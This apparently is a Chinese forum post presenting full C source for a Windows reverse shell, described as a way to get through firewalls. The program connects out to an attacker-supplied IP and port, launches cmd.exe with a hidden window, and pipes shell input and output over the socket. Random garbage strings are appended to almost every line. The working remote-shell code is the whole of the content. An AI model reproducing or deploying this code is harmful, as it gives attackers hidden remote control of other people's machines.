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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5 ZPUY  
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/* ============================== koZp~W-  
Rebound port in Windows NT p04+"  
By wind,2006/7 aM!#  
===============================*/ G - WJlu  
#include I_7EfAqg(  
#include It-*CD9  
LP /4e`  
#pragma comment(lib,"wsock32.lib") fM.|#eLi  
k^jCB>b  
void OutputShell(); s#ZH.z@J  
SOCKET sClient; IOl"Xgn5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?F{xDfqw  
'O9=*L) X  
void main(int argc,char **argv) t@M] ec  
{ gQ#T7  
WSADATA stWsaData; 3~rc=e  
int nRet; cU|jT8Q4H  
SOCKADDR_IN stSaiClient,stSaiServer; =U2n"du  
a*y mBGF  
if(argc != 3) x$DJ  
{ V"iLeC  
printf("Useage:\n\rRebound DestIP DestPort\n"); *'-^R9dN.S  
return; +to9].O7y  
} 8 GN{*Hg  
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WSAStartup(MAKEWORD(2,2),&stWsaData); c\MDOD%9  
\-ws[  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =lQ[%&  
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stSaiClient.sin_family = AF_INET; >/bK?yT<  
stSaiClient.sin_port = htons(0); DjvgKy=Jr_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B)8Hj).@B  
vI}S6-"<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k]pD3.QJ  
{ 1s[-2^D+EM  
printf("Bind Socket Failed!\n"); 'U$VO q?!  
return; !Jl0Eu  
} e8<nP t`C  
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stSaiServer.sin_family = AF_INET; ! -@!u   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qe.kN dT+_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^?[<!VBI  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E,yK` mPp^  
{ VTfaZ/e.  
printf("Connect Error!"); L-{r*ccIW  
return; olh3 R.M<  
} #)}bUNc'  
OutputShell(); t'x:fO?cp  
} { ][7Np!y  
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void OutputShell() \ZZy`/~z*7  
{ rd4'y~#S  
char szBuff[1024]; Wb4{*~  
SECURITY_ATTRIBUTES stSecurityAttributes; Qp&yS U8  
OSVERSIONINFO stOsversionInfo; h xJgxM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :=v{inN  
STARTUPINFO stStartupInfo; -wMW@:M_  
char *szShell; b)^ZiRW``  
PROCESS_INFORMATION stProcessInformation; -GVG1#5  
unsigned long lBytesRead; HWOs@ !cL  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <W') ~o}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X>8?p'*  
stSecurityAttributes.lpSecurityDescriptor = 0; fhx:EZ:~  
stSecurityAttributes.bInheritHandle = TRUE; qFbUM;  
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w1(06A}/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i9U_r._qj;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l0xFt ~l  
LlY*r+Cgl1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8lSn*;S,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UC/2&7 ?  
stStartupInfo.wShowWindow = SW_HIDE; v1g5(  
stStartupInfo.hStdInput = hReadPipe; cY'To<v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [j U  
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GetVersionEx(&stOsversionInfo); F>(#Af9  
wD^do  
switch(stOsversionInfo.dwPlatformId) YKOO(?lv  
{ $= xQX  
case 1: b7sE  
szShell = "command.com"; >1I2R/'  
break; y]f^`2L!8>  
default: lA-!~SM v"  
szShell = "cmd.exe"; ey\{C`(__y  
break; 'oQP:*Btl3  
} M 8j(1&(:  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); | 8Egw-f  
bRz^=  
send(sClient,szMsg,77,0); -7z y  
while(1) *oX]=u&  
{ &dDI*v+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E816 YS='  
if(lBytesRead) ?i EXFYJG  
{ dN/ "1%9)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A-C)w/7  
send(sClient,szBuff,lBytesRead,0); ]O=S2Q  
} -<JBKPtA  
else ww t()  
{ ^H6d; n  
lBytesRead=recv(sClient,szBuff,1024,0); 1(7.V-(G  
if(lBytesRead<=0) break; s_Oh >y?Aq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Pqyu ?  
} f"<@6Axq  
} PeUd  
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return; C2=iZ`Z>T  
}
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